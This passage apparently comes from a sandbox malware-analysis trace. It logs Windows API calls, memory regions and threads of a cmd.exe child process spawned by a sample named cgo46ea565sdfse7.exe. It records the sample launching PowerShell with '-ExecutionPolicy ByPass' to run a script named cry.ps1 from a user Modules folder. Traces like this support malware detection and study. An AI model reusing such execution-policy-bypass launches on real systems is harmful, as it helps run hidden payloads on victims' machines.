Files\\Oracle\\Java\\javapath\\powershell" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.317] GetLastError () returned 0x2 [0064.317] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.317] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell.*" (normalized: "c:\\windows\\syswow64\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.318] GetLastError () returned 0x2 [0064.318] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\powershell" (normalized: "c:\\windows\\syswow64\\powershell"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.318] GetLastError () returned 0x2 [0064.318] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.318] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell.*" (normalized: "c:\\windows\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.318] GetLastError () returned 0x2 [0064.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell" (normalized: "c:\\windows\\powershell"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.319] GetLastError () returned 0x2 [0064.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.*" (normalized: "c:\\windows\\syswow64\\wbem\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.322] GetLastError () returned 0x2 [0064.322] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell" (normalized: "c:\\windows\\syswow64\\wbem\\powershell"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.322] GetLastError () returned 0x2 [0064.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.322] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0x6a2c48 [0064.323] GetProcessHeap () returned 0x690000 [0064.323] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a6250, Size=0x4) returned 0x6a6250 [0064.323] FindClose (in: hFindFile=0x6a2c48 | out: hFindFile=0x6a2c48) returned 1 [0064.323] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.COM" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.com"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.323] GetLastError () returned 0x2 [0064.323] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0x6a2c48 [0064.323] FindClose (in: hFindFile=0x6a2c48 | out: hFindFile=0x6a2c48) returned 1 [0064.323] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.324] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.324] GetConsoleTitleW (in: lpConsoleTitle=0x2cf230, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0064.324] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf0b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf180 | out: lpAttributeList=0x2cf0b8, lpSize=0x2cf180) returned 1 [0064.324] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf0b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf178, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf0b8, lpPreviousValue=0x0) returned 1 [0064.324] GetStartupInfoW (in: lpStartupInfo=0x2cf074 | out: lpStartupInfo=0x2cf074*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0x691da6, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0064.324] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0064.324] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="powershell -ExecutionPolicy ByPass -File C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x2cf114*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="powershell -ExecutionPolicy ByPass -File C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf160 | out: lpCommandLine="powershell -ExecutionPolicy ByPass -File C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 ", lpProcessInformation=0x2cf160*(hProcess=0x7c, hThread=0x80, dwProcessId=0x9ac, dwThreadId=0x42c)) returned 1 [0064.404] CloseHandle (hObject=0x80) returned 1 [0064.404] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.404] GetProcessHeap () returned 0x690000 [0064.405] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9a88 | out: hHeap=0x690000) returned 1 [0064.405] GetEnvironmentStringsW () returned 0x6a2ef8* [0064.405] GetProcessHeap () returned 0x690000 [0064.405] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbfe) returned 0x6a9a88 [0064.405] memcpy (in: _Dst=0x6a9a88, _Src=0x6a2ef8, _Size=0xbfe | out: _Dst=0x6a9a88) returned 0x6a9a88 [0064.405] FreeEnvironmentStringsW (penv=0x6a2ef8) returned 1 [0064.405] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0265.713] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x2cf054 | out: lpExitCode=0x2cf054*=0x0) returned 1 [0265.713] CloseHandle (hObject=0x7c) returned 1 [0265.714] _vsnwprintf (in: _Buffer=0x2cf19c, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf060 | out: _Buffer="00000000") returned 8 [0265.714] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0265.714] GetProcessHeap () returned 0x690000 [0265.716] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9a88 | out: hHeap=0x690000) returned 1 [0265.716] GetEnvironmentStringsW () returned 0x6a2ef8* [0265.716] GetProcessHeap () returned 0x690000 [0265.716] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbfe) returned 0x6a9a88 [0265.717] memcpy (in: _Dst=0x6a9a88, _Src=0x6a2ef8, _Size=0xbfe | out: _Dst=0x6a9a88) returned 0x6a9a88 [0265.717] FreeEnvironmentStringsW (penv=0x6a2ef8) returned 1 [0265.717] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0265.717] GetProcessHeap () returned 0x690000 [0265.717] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9a88 | out: hHeap=0x690000) returned 1 [0265.717] GetEnvironmentStringsW () returned 0x6a2ef8* [0265.717] GetProcessHeap () returned 0x690000 [0265.718] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbfe) returned 0x6a9a88 [0265.718] memcpy (in: _Dst=0x6a9a88, _Src=0x6a2ef8, _Size=0xbfe | out: _Dst=0x6a9a88) returned 0x6a9a88 [0265.718] FreeEnvironmentStringsW (penv=0x6a2ef8) returned 1 [0265.718] GetProcessHeap () returned 0x690000 [0265.718] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a05a0 | out: hHeap=0x690000) returned 1 [0265.718] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf0b8 | out: lpAttributeList=0x2cf0b8) [0265.718] GetConsoleTitleW (in: lpConsoleTitle=0x2cf49c, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x3d [0265.720] exit (_Code=0) Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3b424000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x518" cmd_line = "cmd.exe /c cd C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1764 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1765 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1766 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1767 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1768 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1769 start_va = 0xb0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1770 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1771 start_va = 0x49e40000 end_va = 0x49e8bfff monitored = 1 entry_point = 0x49e4829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1772 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1773 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1774 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1775 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1776 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1777 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1778 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1779 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1780 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1781 start_va = 0x330000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1782 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1783 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1784 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1785 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1786 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1787 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1788 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1789 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1790 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1791 start_va = 0x500000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 1792 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1793 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1794 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1795 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1796 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1797 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1798 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1799 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1800 start_va = 0x6da50000 end_va = 0x6da56fff monitored = 0 entry_point = 0x6da51230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1801 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1802 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1803 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1804 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1805 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1806 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1807 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1808 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1809 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1810 start_va = 0x750000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 1811 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 1812 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1813 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1814 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1815 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1816 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1817 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 1818 start_va = 0xa80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1819 start_va = 0x70000 end_va = 0x8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 1820 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1821 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Thread: id = 15 os_tid = 0x404 [0064.180] GetProcAddress (hModule=0x75c80000, lpProcName="SetConsoleInputExeNameW") returned 0x75caa775 [0064.182] GetProcessHeap () returned 0x650000 [0064.182] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x400a) returned 0x6649a0 [0064.182] GetProcessHeap () returned 0x650000 [0064.183] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6649a0 | out: hHeap=0x650000) returned 1 [0064.183] _wcsicmp (_String1="cd", _String2=")") returned 58 [0064.183] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0064.183] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0064.183] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0064.183] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0064.184] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0064.184] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0064.184] GetProcessHeap () returned 0x650000 [0064.184] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x58) returned 0x662698 [0064.184] GetProcessHeap () returned 0x650000 [0064.184] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe) returned 0x6603a0 [0064.185] GetProcessHeap () returned 0x650000 [0064.185] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x88) returned 0x6626f8 [0064.186] GetConsoleTitleW (in: lpConsoleTitle=0x32f530, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0064.187] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0064.187] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0064.187] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0064.187] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0064.187] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0064.187] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0064.187] GetProcessHeap () returned 0x650000 [0064.187] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x108) returned 0x662788 [0064.192] GetProcessHeap () returned 0x650000 [0064.192] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x662788, Size=0x86) returned 0x662788 [0064.193] GetProcessHeap () returned 0x650000 [0064.193] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x662788) returned 0x86 [0064.193] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.193] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.193] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x32f2ec, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x32f2e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x32f2e4*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.193] GetProcessHeap () returned 0x650000 [0064.193] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x8e) returned 0x662818 [0064.194] GetProcessHeap () returned 0x650000 [0064.194] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x108) returned 0x6628b0 [0064.246] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6628b0, Size=0x88) returned 0x6628b0 [0064.246] GetProcessHeap () returned 0x650000 [0064.246] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x6628b0) returned 0x88 [0064.247] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f090 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0064.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0x32f090, lpFilePart=0x32f08c | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x32f08c*="Cipher") returned 0x3d [0064.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0064.247] FindFirstFileW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6629d0 [0064.247] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.248] memcpy (in: _Dst=0x32f096, _Src=0x32ee38, _Size=0xa | out: _Dst=0x32f096) returned 0x32f096 [0064.248] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 0x6629d0 [0064.248] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.248] _wcsnicmp (_String1="KEECFM~1", _String2="kEecfMwgj", _MaxCount=0x9) returned 7 [0064.248] memcpy (in: _Dst=0x32f0a2, _Src=0x32ee38, _Size=0x12 | out: _Dst=0x32f0a2) returned 0x32f0a2 [0064.248] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x11, 